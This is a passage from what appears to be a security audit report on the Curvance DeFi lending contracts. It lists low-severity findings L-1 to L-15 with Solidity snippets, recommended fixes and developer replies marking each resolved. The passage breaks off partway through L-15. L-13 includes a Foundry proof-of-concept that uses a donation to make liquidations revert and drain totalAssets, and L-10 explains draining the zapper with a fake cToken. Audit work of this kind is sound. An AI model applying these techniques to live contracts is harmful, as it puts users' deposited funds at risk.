    uint256 vertexRatePerYear,
    uint256 vertexStart,
    uint256 adjustmentVelocity,
    uint256 decayPerAdjustment,
    uint256 vertexMultiplierMax,
    bool vertexReset
) external {
    _checkMarketPermissions();

    _updateDynamicIRM(
```

```
        baseRatePerYear,
        vertexRatePerYear,
        vertexStart,
        adjustmentVelocity,
        decayPerAdjustment,
        vertexMultiplierMax,
        vertexReset
    );
}
```

Impact

Mentioned above.

Recommendation

Trigger accrue interest for linkedToken in dynamic IRM.

Discussion

ZeroXMai

fixed @gas-limit

Issue L-1: Hypothetical liquidity is not accounting the outstanding interest [RESOLVED]

Source: https://github.com/sherlock-audit/2025-08-curvance-august-25th/issues/44

Summary

When users borrow or redeem collateral, their LTV must remain at a certain level to ensure they are not liquidatable after the operation. However, due to how the exchange rate is calculated, pending interest is not included in the exchange rate, which means users can end up with undercollateralized positions.

Vulnerability Detail

When users borrow, `MarketManager.canBorrowWithNotify` is called: https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/89120636627bb519d2529afb6d5f74801b27b854/curvance-contracts/contracts/market/token/BorrowableCToken.sol#L167-L172

Inside this function, the hypothetical liquidity is calculated: https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/89120636627bb519d2529afb6d5f74801b27b854/curvance-contracts/contracts/market/isolated/MarketManagerIsolated.sol#L1205-L1214

This then calls `OracleManager` to retrieve token prices: https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/89120636627bb519d2529afb6d5f74801b27b854/curvance-contracts/contracts/oracles/OracleManager.sol#L443-L478

The key detail is that collateral is represented as `cTokens`, while debt is denominated in the underlying assets. Therefore, when pricing collateral, the protocol must multiply the price by the exchange rate to get the correct share value.

To handle this, `_getTotalAssets` is overridden to account for pending interest. However, this calculation misses two things:

1. Protocol fees.

2. The possibility that a new epoch should have started (triggering the IRM update). https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/89120636627bb519d2529afb6d5f74801b27b854/curvance-contracts/contracts/market/token/BorrowableCToken.sol#L927-L936

The actual accrue logic can be seen here: https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/89120636627bb519d2529afb6d5f74801b27b854/curvance-contracts/contracts/market/token/BorrowableCToken.sol#L741-L793

If the current time is past the period end, a new period begins by calling the IRM. In addition, fees are minted as shares, meaning not all vested assets are distributed to users. The `_assetsToVest()` function does not account for this.

As a result, `exchangeRate()` fails to subtract protocol fees and does not properly account for whether a new period has started.

Another related issue arises when redeeming collateral, which is even more likely to occur. In this case, the exchange rate of the loan token is not needed, since it's the borrow token. However, when checking a user's debt balance in the `snapshot` function, the protocol calls `debtBalance(user)`, which does not accrue pending yield. This means the user's debt is underaccounted.

Impact

In a frequent activity market this might not be an issue but in a market where activity is low the pending interest might be too big which might lead to bad debt.

Code Snippet

Tool Used

Manual Review

Recommendation

exchangeRate should account for the pending interest + fees portion snapshot debt balance should account for the latest interest + fees portion

Discussion

ZeroXMai

Realized I didnt reply to this, this is something @pkqs90 submitted too, we fixed this locally so can confirm its valid. Though, I dont think is a high since its likely few seconds interest and only applies to scenarios where you have two borrowable tokens but the point on protocol fees not being removed is interesting too, will have to think about that whether thats relevant post fix, can review in mitigation period.

Issue L-2: `pendingRevenue` silent overflow [RESOLVED]

Source: https://github.com/sherlock-audit/2025-08-curvance-august-25th/issues/50

Vulnerability Detail

Assume that `pendingRevenue + msg.value` end up with a value larger than `type(uint192)`, but less than `type(uint208).max`. Let's say it's `type(uint192) + 1`.

In this case, the condition will evaluate to false since it is still less than `type(uint208).max`. No distribution is triggered.

Next, when `accumulatedRevenue = uint192(pendingRevenue + msg.value);` is executed, a silent overflow will happen and it will wrap back to 0. So, `accumulatedRevenue` will be set to 0, and all accumulated revenue will be lost.

```
  uint256 newPendingRevenue = type(uint192).max + uint(1);
  uint256 accumulatedRevenue = uint192(newPendingRevenue);
  accumulatedRevenue
Type: uint256
  Hex: 0x0
  Hex (full word): 0x0000000000000000000000000000000000000000000000000000000000000000
  Decimal: 0
```

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/add56c39b62d9008a279cf01698f782c5573044c/Atlas-Integration/src/AuctionManager.sol#L444

```
File: AuctionManager.sol
437:     /// @notice Accumulates revenue internally for later distribution.
438:     /// @dev Only callable by the authorized execution environment.
439:     ///      Uses msg.value to receive ETH and update accounting atomically.
440:     function accumulateRevenue() external payable {
441:         _checkAuthorizedExecutionEnv();
442:
443:         uint256 pendingRevenue = accumulatedRevenue;
444:         if (pendingRevenue + msg.value > type(uint208).max) {
```

```
445:             _distributeRevenue();
446:             pendingRevenue = 0;
447:         }
448:
449:         accumulatedRevenue = uint192(pendingRevenue + msg.value);
450:
451:         // Emit that new revenue was allocated from an auction-based
452:         // liquidation.
453:         emit RevenueAllocated(msg.value);
454:     }
```

Impact

Collected revenue will be lost.

Code Snippet

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/add56c39b62d9008a279cf01698f782c5573044c/Atlas-Integration/src/AuctionManager.sol#L444

Tool Used

Manual Review

Recommendation

The distribution should be triggered earlier. It should be:

```
- if (pendingRevenue + msg.value > type(uint208).max) {
+ if (pendingRevenue + msg.value > type(uint192).max) {
```

Discussion

ZeroXMai

done @gas-limit

Issue L-3: `OracleManager.sol::notifyFeedRemoval()` may revert, causing adaptors unable to remove assets. [RESOLVED]

Source: https://github.com/sherlock-audit/2025-08-curvance-august-25th/issues/68

Summary

`OracleManager.sol::notifyFeedRemoval()` may revert, causing adaptors unable to remove assets.

Vulnerability Detail

The `OracleManager.sol::notifyFeedRemoval()` function is called whenever an adapter removes an asset, but does not check if the adapter is added as price feed for the asset. For example, 3 adaptors add WETH, but OracleManager only adds the first 2 adaptors as feed for WETH. The 3rd adapter cannot remove the WETH asset because it will revert in `OracleManager.sol::notifyFeedRemoval()` function.

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/main/curvance-contracts/contracts/oracles/OracleManager.sol#L176-L179

```
    function notifyFeedRemoval(address asset) external {
        _checkIsApprovedAdaptor(msg.sender);
@>      _removeFeed(asset, msg.sender);
    }

    function _removeFeed(address asset, address feed) internal {
        uint256 numFeeds = _checkFeeds(asset);

        // If theres two feeds, figure out which to remove,
        // otherwise we know the feed to remove is the first entry.
        if (numFeeds > 1) {
            // Check whether `feed` is a currently supported feed for `asset`.
            if (
```

```
                assetPriceFeeds[asset][0] != feed &&
                assetPriceFeeds[asset][1] != feed
            ) {
                revert OracleManager__NotSupported();
            }

            // We want to remove the first feed of two,
            // so move the second feed to slot one.
            if (assetPriceFeeds[asset][0] == feed) {
                assetPriceFeeds[asset][0] = assetPriceFeeds[asset][1];
            }
        } else {
            if (assetPriceFeeds[asset][0] != feed) {
                revert OracleManager__NotSupported();
            }
        }
        // We know the feed exists, but we cannot use `isApprovedAdaptor` as
        // we could have removed it as an approved adaptor prior.

        assetPriceFeeds[asset].pop();
    }
```

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/main/curvance-contracts/contracts/oracles/adaptors/BaseOracleAdaptor.sol#L178-L191

```
    function removeAsset(address asset) external {
        _checkElevatedPermissions();
        _checkSupportedAsset(asset);

        // Notify the adaptor to stop supporting the asset.
        delete isSupportedAsset[asset];
        _wipeAssetConfigs(asset);

        // Notify the Oracle Manager that we are going to stop supporting
        // the asset.
@>      CommonLib._oracleManager(centralRegistry).notifyFeedRemoval(asset);

        emit AssetRemoved(asset);
```

```
    }
```

Impact

Adaptors can't remove assets.

Recommendation

Allow adaptors to remove assets even if the OracleManager does not bind adaptor to asset.

Discussion

ZeroXMai

done @gas-limit

Issue L-4: Interest accrual is missing in token transfers [RESOLVED]

Source: https://github.com/sherlock-audit/2025-08-curvance-august-25th/issues/70

Summary

Interest accrual is never triggered in `transfer/transferFrom`, which might lead to scenarios where debt is underestimated.

Vulnerability Detail

When a transfer is performed from a CToken, a check is done to ensure that the user can't transfer more tokens than they have as collateral. As a general rule, important protocol actions should always accrue interest in order to not underestimate the actual debt of the user. This particular case won't lead to an issue as it won't be possible to have the token be collateral if the token has already been borrowed, but it's still good so that the system is always checking values with the most updated state.

Impact

Informational

Code Snippet

- BaseCToken.sol#L599

Tool Used

Manual Review

Recommendation

Considering calling `_accrueIfNeeded` when `transfer/transferFrom` is executed.

Discussion

ZeroXMai

done @gas-limit

Issue L-5: Approval is incorrectly removed in `onBorrow` [RESOLVED]

Source: https://github.com/sherlock-audit/2025-08-curvance-august-25th/issues/71

Summary

In `onBorrow`, the approval is incorrectly removed from the `debtAsset` instead of the collateral asset.

Vulnerability Detail

When `onBorrow` is called, approval is given to the `cToken` so that they can transfer the collateral asset on behalf of the position manager. After depositing the collateral, an approval removal is performed to leave the approved amount at 0. However, the approval is incorrect, as it tries to remove the approval to the `borrowableCToken` for the `debtAsset` token, instead of the approval to the `cToken` from the `collateralAsset`:

```
// BasePositionManager.sol

function onBorrow(
        address borrowableCToken,
        uint256 borrowAssets,
        address owner,
        LeverageAction memory action
    ) external override {
        ...SNIP
        // Approve `amount` of `collateralAsset` to `cToken` contract.
        SwapperLib._approveIfNeeded(
            collateralAsset,
            address(cToken), <@ `collateralAsset` approved to cToken
            amount
        );

        // Enter Curvance collateral position.
        cToken.depositAsCollateral(amount, owner);
```

```
        uint256 remaining = IERC20(debtAsset).balanceOf(address(this));

        // Transfer remaining borrow underlying back to the user.
        if (remaining > 0) {
            SafeTransferLib.safeTransfer(debtAsset, owner, remaining);
        }

        // Remove any excess approval.
        SwapperLib._removeApprovalIfNeeded(
            debtAsset, <@ approval removed from `debtAsset` to `borrowableCToken`
            address(borrowableCToken)
        );
    }
```

Impact

Low. Usually all tokens will be transferred, but if any dangling approval is left and the token to be used has a weird behavior (such as USDT, which expect the current allowance to be 0 if we want to approve more), the transaction could revert.

Code Snippet

- BasePositionManager.sol#L379

Tool Used

Manual Review

Recommendation

Remove the excess approval for the `collateralAsset` fromt the `cToken`, instead of the `debtAsset` from the `borrowableCToken`.

Discussion

ZeroXMai

done @gas-limit

Issue L-6: Tokens with non-string `name` can't be configured [RESOLVED]

Source: https://github.com/sherlock-audit/2025-08-curvance-august-25th/issues/72

Summary

Tokens with non-string name can't be configured in the `BaseCToken` due to fetching `name` directly from the token to be added.

Vulnerability Detail

When CTokens are deployed, the `_name` is obtained from a concatenation between "Curvance" and the token's name, which is extracted from its `name()` function:

```
// File: BaseCToken.sol

constructor(
        ICentralRegistry cr,
        IERC20 asset_,
        address mm
    ) PluginDelegable(cr) {
        _asset = asset_;
        _name = string.concat("Curvance ", asset_.name()); <@
       ..SNIP
```

The problem is that some weird tokens, such as MKR, don't store their name with a`string`, and use bytes instead. This will prevent such tokens from being configured, as the call to `name()` will always revert.

Impact

Low/Info. While it's rare to find these kind of tokens, it's still good to consider such scenario to avoid future changes in the code.

Code Snippet

- BaseCToken.sol#L131

Tool Used

Manual Review

Recommendation

Consider passing the asset's `name` as parameter in the constructor.

Discussion

ZeroXMai

done @gas-limit

Issue L-7: Excess funds are returned to an incorrect address [RESOLVED]

Source: https://github.com/sherlock-audit/2025-08-curvance-august-25th/issues/74

Summary

The remaining of `debtAsset` is incorrectly returned to `receiver`, instead of `msg.sender` when repaying debt in the `BaseZapper`.

Vulnerability Detail

In `BaseZapper`, the remaining `debtAsset` will be returned after repaying debt:

```
// File: BaseZapper.sol

function _repayDebt(
        address borrowableCToken,
        address debtAsset,
        uint256 assetsHeld,
        uint256 repayAssets,
        address receiver
    ) internal returns (uint256) {

        ...SNIP

        // Execute repayment of outstanding debt.
        IBorrowableCToken(borrowableCToken).repayFor(repayAssets, receiver);

        ...SNIP

        // Transfer any remaining `debtAsset` to `receiver`.
        if (assetsHeld > 0) {
            _transferToRecipient(debtAsset, receiver, assetsHeld);
        }
```

However, the excess of `debtAsset` should be returned to `msg.sender` instead of `receiver`, which is who assets are pulled from before `_repayDebt` is actually called:

```
// File: SimpleZapper.sol
 function swapAndRepay(
        address borrowableCToken,
        bool depositAsWrappedNative,
        SwapperLib.Swap memory swapAction,
        uint256 repayAssets,
        address receiver
    ) external payable nonReentrant returns (uint256 outAmount) {
        // Transfer assets from msg.sender
        _prepareSwap(
            swapAction.inputToken,
            swapAction.inputAmount,
            depositAsWrappedNative
        );

        ...SNIP

        // Repay `repayAssets` outstanding debt.
        outAmount = _repayDebt(
            borrowableCToken,
            swapAction.outputToken,
            outAmount,
            repayAssets,
            receiver
        );
    }

    /// @notice Withdraws from a
```

A situation could arise in which Curvance is integrated into another protocol. After the swap, the excess will incorrectly be returned to the `receiver`, instead of the contract integrated into Curvance.

Impact

Low/Info.

Code Snippet

- BaseZapper.sol#L280

Tool Used

Manual Review

Recommendation

Consider refunding `debtAsset` to `msg.sender`, instead of `receiver`

Discussion

ZeroXMai

done @gas-limit

Issue L-8: Incorrect permission removal when transferring EC and timelock in CentralRegistry. [RESOLVED]

Source: https://github.com/sherlock-audit/2025-08-curvance-august-25th/issues/75

Summary

Incorrect permission removal when transferring EC and timelock in CentralRegistry.

Vulnerability Detail

In the `transferTimelockPermissions()` and `transferEmergencyCouncil()` function, we check if the previous address is equal to EC, timelock, and DAO.

The logic to `delete hasMarketPermissions[previousTimelock];` is checked inside `if (previousTimelock != daoAddress)`, however, since DAO isn't supposed to have this permission in the first place, this line should be moved to the outer if-clause.

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/main/curvance-contracts/contracts/architecture/CentralRegistry.sol#L821-L831

```
        if (previousTimelock != emergencyCouncil) {
            delete hasElevatedPermissions[previousTimelock];

            // If the previous Timelock also has DAO permissions
            // for some reason, do not remove their permissioning.
            if (previousTimelock != daoAddress) {
                delete hasDaoPermissions[previousTimelock];
@>              delete hasMarketPermissions[previousTimelock];
                emit PermissionsUpdated("Market", previousTimelock, false);
            }
        }
```

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/main/curvanc

e-contracts/contracts/architecture/CentralRegistry.sol#L863-L877

```
        if (previousEmergencyCouncil != timelock) {
            delete hasElevatedPermissions[previousEmergencyCouncil];

            // If the previous Emergency Council also has DAO permissions
            // for some reason, do not remove their permissioning.
            if (previousEmergencyCouncil != daoAddress) {
                delete hasDaoPermissions[previousEmergencyCouncil];
@>              delete hasMarketPermissions[previousEmergencyCouncil];
                emit PermissionsUpdated(
                    "Market",
                    previousEmergencyCouncil,
                    false
                );
            }
        }
```

Impact

Previous addresses may still have permissions when they should be deleted.

Recommendation

```
        if (previousTimelock != emergencyCouncil) {
            delete hasElevatedPermissions[previousTimelock];
+           delete hasMarketPermissions[previousTimelock];

            // If the previous Timelock also has DAO permissions
            // for some reason, do not remove their permissioning.
            if (previousTimelock != daoAddress) {
                delete hasDaoPermissions[previousTimelock];
-               delete hasMarketPermissions[previousTimelock];
                emit PermissionsUpdated("Market", previousTimelock, false);
            }
        }
```

```
        if (previousEmergencyCouncil != timelock) {
            delete hasElevatedPermissions[previousEmergencyCouncil];
+           delete hasMarketPermissions[previousEmergencyCouncil];

            // If the previous Emergency Council also has DAO permissions
            // for some reason, do not remove their permissioning.
            if (previousEmergencyCouncil != daoAddress) {
                delete hasDaoPermissions[previousEmergencyCouncil];
-               delete hasMarketPermissions[previousEmergencyCouncil];
                emit PermissionsUpdated(
                    "Market",
                    previousEmergencyCouncil,
                    false
                );
            }
        }
```

Discussion

ZeroXMai

Fixed @gas-limit

Issue L-9: DAOTimelock should handle the case where old EC is new DAO. [RESOLVED]

Source: https://github.com/sherlock-audit/2025-08-curvance-august-25th/issues/76

Summary

DAOTimelock should handle the case where old EC is new DAO.

Vulnerability Detail

When updating roles, an edge case is if old EC is new DAO (i.e. timelockEC == registryDaoAddress), then we'd be revoking the CANCELLER_ROLE after we just granted it.

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/main/curvance-contracts/contracts/architecture/DAOTimelock.sol#L77

```
function updateRoles() external {
    address registryDaoAddress = centralRegistry.daoAddress();
    address timelockDaoAddress = _DAO_ADDRESS;

    if (registryDaoAddress != timelockDaoAddress) {
        _revokeRole(PROPOSER_ROLE, timelockDaoAddress);
        _revokeRole(EXECUTOR_ROLE, timelockDaoAddress);
        _revokeRole(CANCELLER_ROLE, timelockDaoAddress);

        _grantRole(PROPOSER_ROLE, registryDaoAddress);
        _grantRole(EXECUTOR_ROLE, registryDaoAddress);
        _grantRole(CANCELLER_ROLE, registryDaoAddress);
        _DAO_ADDRESS = registryDaoAddress;
        _grantRole(PROPOSER_ROLE, registryDaoAddress);
        _grantRole(EXECUTOR_ROLE, registryDaoAddress);
        _grantRole(CANCELLER_ROLE, registryDaoAddress);
        _DAO_ADDRESS = registryDaoAddress;
    }
```

```
    address registryEC = centralRegistry.emergencyCouncil();
    address timelockEC = _EMERGENCY_COUNCIL;
    if (registryEC != timelockEC) {
        _revokeRole(CANCELLER_ROLE, timelockEC);

        _grantRole(CANCELLER_ROLE, registryEC);
        _EMERGENCY_COUNCIL = registryEC;
    }
}
```

Impact

DAO address may be revoked of the CANCELLER_ROLE role that was just granted.

Recommendation

Check `timelockEC != registryDaoAddress` before revoking.

Discussion

ZeroXMai

fixed @gas-limit

Issue L-10: User can drain funds in zapper. [RESOLVED]

Source: https://github.com/sherlock-audit/2025-08-curvance-august-25th/issues/78

Summary

User can drain funds in zapper.

Vulnerability Detail

There is no check for the `cToken` contract. Malicious users can create a fake `cToken` that returns non-zero value on `cToken.redeemCollateralFor()` or `cToken.redeemFor()` and assets would be transferred to receiver from thin air. Consider adding a check the zapper actually received the tokens.

Note this shouldn't be a big issue though, because the zapper isn't meant to contain any funds, hence reporting as informational.

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/main/curvance-contracts/contracts/plugins/BaseZapper.sol#L210

```
function _exitCurvance(
    address cToken,
    address asset,
    uint256 shares,
    uint256 expectedAssets,
    bool forceRedeemCollateral,
    address receiver
) internal {
    uint256 assets;

    // Transfer tokens exited to the Zapper.
    if (forceRedeemCollateral) {
        assets = ICToken(cToken).redeemCollateralFor(
            shares,
            address(this),
```

```
            msg.sender
        );
    } else {
        assets = ICToken(cToken).redeemFor(
            shares,
            address(this),
            msg.sender
        );
    }

    // Validate output of redemption is sufficient.
    if (assets < expectedAssets) {
        revert BaseZapper__ExecutionError();
    }

    // Return any excess assets remaining back to the user.
    if (assets > expectedAssets) {
        _transferToRecipient(asset, receiver, assets - expectedAssets);
    }
}
```

Impact

Zapper funds can be drained.

Recommendation

```
+       uint beforeBalance = asset.balanceOf(address(this));

        if (forceRedeemCollateral) {
            assets = ICToken(cToken).redeemCollateralFor(
                shares,
                address(this),
                msg.sender
            );
        } else {
            assets = ICToken(cToken).redeemFor(
```

```
                shares,
                address(this),
                msg.sender
            );
        }

+       uint afterBalance = asset.balanceOf(address(this));
+       require(afterBalance - beforeBalance >= assets);
```

Discussion

ZeroXMai

Fixed with more aggressive check of validating the market manager attached is real (centralRegistry.isMarketManager == true) and that the cToken is listed within it, the above solution could theoretically allow positive slippage to be skimmed. @gas-limit

Issue L-11: Allowing `_MAXIMUM_VERTEX_MULTIPLIER_MAX = uint96.max` is too high. [RESOLVED]

Source: https://github.com/sherlock-audit/2025-08-curvance-august-25th/issues/79

Summary

Allowing `_MAXIMUM_VERTEX_MULTIPLIER_MAX = uint96.max` is too high.

Vulnerability Detail

Allowing the multiplier to be uint96.max seems way too high. Consider the vertex APR at 200%, the maximum borrow rate allowed would be `~(uint96.max * 200%) = 158456325028`. Assume we're adjusting multiplier at maximum velocity (120%) every 10 minutes, after a day we can hit this number `(1.2^ (6*24) > 158456325028)`.

Also we risk overflowing the global index (u80), which the IRM can't handle.

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/main/curvance-contracts/contracts/market/DynamicIRM.sol#L175

```
/// @notice The maximum value that `vertexMultiplierMax` can be set
///         to, in `WAD`.
///         E.g. 1 * WAD = 100% Maximum `vertexMultiplierMax` value.
uint256 internal constant _MAXIMUM_VERTEX_MULTIPLIER_MAX = type(uint96).max;
```

Impact

Allowing a huge multiplier will bloat up borrow rate, and global borrow index.

Recommendation

Set to a smaller value. Even better, add a cap to the borrow rate.

Discussion

ZeroXMai

Fixed @gas-limit

Issue L-12: Chainlink sequencer is always checke in OracleManager, even for non chainlink adaptors. [RESOLVED]

Source: https://github.com/sherlock-audit/2025-08-curvance-august-25th/issues/80

Summary

Chainlink sequencer is always checked in OracleManager, even for non chainlink adaptors.

Vulnerability Detail

OracleManager always checks chainlink L2 sequencer is up, even if the asset uses non-chainlink adaptors (e.g. redstone, pyth). This can cause false positive reverts.

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/main/curvance-contracts/contracts/oracles/OracleManager.sol#L357

```
    function getPrice(
        address asset,
        bool inUSD,
        bool getLower
    ) public view returns (uint256 price, uint256 errorCode) {
@>      if (!_isSequencerValid()) {
            return (0, BAD_SOURCE);
        }
        ...
    }
```

Impact

Cause false positive reverts for assets that doesn't use chainlink oracle as adaptors.

Recommendation

This seems by design, it is good to document this behavior.

Discussion

ZeroXMai

fixed by adding documentation note @gas-limit

lpetroulakis

For clarity, the team has updated documentation to clarify chainlink sequencer check is used in all cases if available and reduced grace period to 5 minutes.

Issue L-13: Liquidation may revert if bad debt is larger than `_totalAssets`. [RESOLVED]

Source: https://github.com/sherlock-audit/2025-08-curvance-august-25th/issues/81

Summary

Liquidation may revert if bad debt is larger than `_totalAssets`.

Vulnerability Detail

This line may underflow and lead to failure of liquidation.

In cTokens, we support ”donations” to the cToken contract by token transfer. For example, cUSDC can have a `_totalAssets` of `1000e6+77777`, and through a donation of 1000e6 USDC, it's `assetsHeld()` can reach `2000e6+77777`. In this scenario, borrowers are allowed to borrow up to `2000e6`, due to the _checkAssetsHeld() check. That means in a worst case scenario, position may have a bad debt up to `2000e6`, which is larger than `_totalAssets`, and when we perform liquidation, this line will underflow.

Another side effect is the invariant `_totalAssets` is always >=77777 is broken. In a worst case scenario, if the numbers click, and the `result.badDebtRealized` is just equal to `_totalAssets`, we will get `totalAssets == 0`, which bricks all future cToken operations.

However, considering if this edge case really happens, the cToken exchangeRate will drop to 0, and all suppliers will lose all their tokens, so it is a very edge case.

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/main/curvance-contracts/contracts/oracles/OracleManager.sol#L357

```
        if (result.badDebtRealized > 0) {
@>          _totalAssets = _totalAssets - result.badDebtRealized;
            emit BadDebtRecognized(result.badDebtRealized, liquidator);
        }
```

PoC

See the test case in `test_donation_then_liquidation`: 0. Preparation work: LiquidityProvider provides 1000 USDC.

1. Random user transfers 1000 USDC into cUSDC, which increases the cUSDC.assetsHeld() to 2000e6+77777, while the `_totalAssets` is only 1000e6+77777
2. User1 deposits 2 BALETH as collateral and borrows 2000 USDC. The BALETH price is using live WETH price at block number 18031848, which is ~1700 USD/ETH. collRatio is 70%.
3. Mock the BALETH price to 100 USD/ETH, so we can liquidate the position.
4. User2 tries to liquidate user1 full position, but fail due to underflow.
5. User2 then tries to liquidate a portion of user1 position, which puts cUSDC's `_totalAssets` just to an extremely low number (2 in this case). If the numbers are right, we can bring `_totalAsset` down to zero which will brick the cToken deposits forever.

```
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.28;

import { TestBaseBorrowableCToken } from
↪  "tests/market/token/BorrowableCToken/TestBaseBorrowableCToken.sol";
import { IMarketManager } from "contracts/interfaces/IMarketManager.sol";
import { FixedPointMathLib } from
↪  "contracts/libraries/external/FixedPointMathLib.sol";
import { WAD } from "contracts/libraries/ConstantsLib.sol";

import "forge-std/console2.sol";

contract DonationThenLiquidationTest is TestBaseBorrowableCToken {

    function setUp() public override {
        super.setUp();
        // Preparation work: LiquidityProvider provides 1000 USDC.
        address liquidityProvider = makeAddr("liquidityProvider");
        _prepareUSDC(liquidityProvider, 1000e6);
        // Mint borrowable cUSDC.
```

```
        vm.startPrank(liquidityProvider);
        usdc.approve(address(borrowableCUSDC), 1000e6);
        borrowableCUSDC.deposit(1000e6, liquidityProvider);
        // Mint cBALETH.
        vm.stopPrank();
    }

    function test_normal_liquidation() public {
        // Step 1: User1 deposits 1 BALETH as collateral and borrows 1000 USDC. The
        ↪  BALETH price is using live WETH price at block number 18031848, which
        ↪  is ~1700 USD/ETH. collRatio is 70%.
        _prepareBALRETH(user1, _ONE);
        vm.startPrank(user1);
        balRETH.approve(address(strategyCBALRETH), _ONE);
        strategyCBALRETH.deposit(_ONE, user1);
        strategyCBALRETH.postCollateral(_ONE);
        borrowableCUSDC.borrow(1000e6, user1);
        vm.stopPrank();

        // Step 2: Mock the BALETH price to 100 USD/ETH, so we can liquidate the
        ↪  position.
        mockBalEthRethFeed.setMockAnswer(100e8);

        // Step 3: User2 liquidates user1's position.
        // - Close factor is 100%, liqInc is 115%.
        // - User2 pays 1000e6 - 913049056 = 86950944 USDC and earns 1 cBALETH,
        ↪  which is worth 100 USD.
        // - 100e6 / 86950944 = 115%. Math checks out.
        address[] memory accounts = new address[](1);
        accounts[0] = user1;
        _prepareUSDC(user2, 1000e6);

        vm.startPrank(user2);
        usdc.approve(address(borrowableCUSDC), 1000e6);
        borrowableCUSDC.liquidate(
            accounts,
            address(strategyCBALRETH)
        );
```

```
        vm.stopPrank();

        // strategyCBALRETH.balanceOf(user2) = 1000000000000000000
        console2.log("strategyCBALRETH.balanceOf(user2) =",
        ↪  strategyCBALRETH.balanceOf(user2));
        // usdc.balanceOf(user2) = 913049056
        console2.log("usdc.balanceOf(user2) =", usdc.balanceOf(user2));
    }

    function test_donation_then_liquidation() public {
        // Step 1: Random user transfers 1000 USDC into cUSDC.
        _prepareUSDC(user1, 1000e6);
        usdc.transfer(address(borrowableCUSDC), 1000e6);
        // borrowableCUSDC.assetsHeld() = 2000077777
        console2.log("borrowableCUSDC.assetsHeld() =",
        ↪  borrowableCUSDC.assetsHeld());
        // borrowableCUSDC.totalAssets() = 1000077777
        console2.log("borrowableCUSDC.totalAssets() =",
        ↪  borrowableCUSDC.totalAssets());

        // Step 2: User1 deposits 2 BALETH as collateral and borrows 2000 USDC. The
        ↪  BALETH price is using live WETH price at block number 18031848, which
        ↪  is ~1700 USD/ETH. collRatio is 70%.
        _prepareBALRETH(user1, 2*_ONE);
        vm.startPrank(user1);
        balRETH.approve(address(strategyCBALRETH), 2*_ONE);
        strategyCBALRETH.deposit(2*_ONE, user1);
        strategyCBALRETH.postCollateral(2*_ONE);
        borrowableCUSDC.borrow(2000e6, user1);
        vm.stopPrank();

        // Step 2: Mock the BALETH price to 100 USD/ETH, so we can liquidate the
        ↪  position.
        mockBalEthRethFeed.setMockAnswer(100e8);

        // Step 3: User2 tries to liquidate user1 full position, but fail due to
        ↪  underflow.
        address[] memory accounts = new address[](1);
```

```
        accounts[0] = user1;
        _prepareUSDC(user2, 2000e6);
        vm.startPrank(user2);
        usdc.approve(address(borrowableCUSDC), 2000e6);
        vm.expectRevert();
        borrowableCUSDC.liquidate(
            accounts,
            address(strategyCBALRETH)
        );
        vm.stopPrank();

        // Step 4: User2 then tries to liquidate a portion of user1 position, which
        ↪  puts cUSDC's _totalAsset just to an extremely low number.
        uint256[] memory debtAmounts = new uint256[](1);
        debtAmounts[0] = 95238811;
        vm.startPrank(user2);
        usdc.approve(address(borrowableCUSDC), 2000e6);
        borrowableCUSDC.liquidateExact(
            debtAmounts,
            accounts,
            address(strategyCBALRETH)
        );
        vm.stopPrank();

        // borrowableCUSDC.totalAssets() = 2
        console2.log("borrowableCUSDC.totalAssets() =",
        ↪  borrowableCUSDC.totalAssets());
    }
}
```

Impact

Liquidations may revert.

Recommendation

Don't use token balance for `_checkAssetsHeld()` check. Use `_totalAssets` to check instead.

Discussion

ZeroXMai

done @gas-limit

Issue L-14: BaseZapper and BasePositionManager don't support repaying full debt by setting repayAssets == 0. [RESOLVED]

Source: https://github.com/sherlock-audit/2025-08-curvance-august-25th/issues/82

Summary

BaseZapper and BasePositionManager don't support repaying full debt by setting repayAssets == 0.

Vulnerability Detail

BorrowableCToken has a feature that if the amount `assets` is zero, it defaults to repaying the entire debt position. However, neither BaseZapper of BasePositionManager supports this feature, and the transaction will fail due to no allowance.

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/main/curvance-contracts/contracts/plugins/BaseZapper.sol#L272-L276

```
    function _repayDebt(
        address borrowableCToken,
        address debtAsset,
        uint256 assetsHeld,
        uint256 repayAssets,
        address receiver
    ) internal returns (uint256) {
        ...

        // Execute repayment of outstanding debt.
        IBorrowableCToken(borrowableCToken).repayFor(repayAssets, receiver);

        // Remove any excess approval.
@>      SwapperLib._removeApprovalIfNeeded(debtAsset, borrowableCToken);
```

```
        // @audit-bug: If user sets repayAssets == 0 to try repay all assets, this
        ↪  will fail due to no allowance.
        assetsHeld -= repayAssets;

        // Transfer any remaining `debtAsset` to `receiver`.
        if (assetsHeld > 0) {
            _transferToRecipient(debtAsset, receiver, assetsHeld);
        }

        return assetsHeld;
    }
```

https://github.com/sherlock-audit/2025-08-curvance-august-25th/blob/main/curvance-contracts/contracts/market/position-management/BasePositionManager.sol#L441C1-L454C10

```
// Approve `repayAssets` of `debtAsset` to `borrowableCToken` contract.
SwapperLib._approveIfNeeded(
    debtAsset,
    address(borrowableCToken),
    repayAssets
);

// Repay debt.
borrowableCToken.repayFor(repayAssets, owner);

// Transfer remaining borrow underlying back to user.
if (remaining > 0) {
    SafeTransferLib.safeTransfer(debtAsset, owner, remaining);
}
```

Impact

BaseZapper and BasePositionManager don't support repaying full debt by setting repayAssets == 0.

Recommendation

Support this feature.

Discussion

ZeroXMai

done @gas-limit

Issue L-15: OracleManager defaults `cTokens[token]` to address(0), which is used for native ETH oracles. [RESOLVED]

Source: https://github.com/sherlock-audit/2025-08-curvance-august-25th/issues/83

Summary

OracleManager defaults `cTokens[token]` to address(0), which is used for native ETH oracles.

Vulnerability Detail

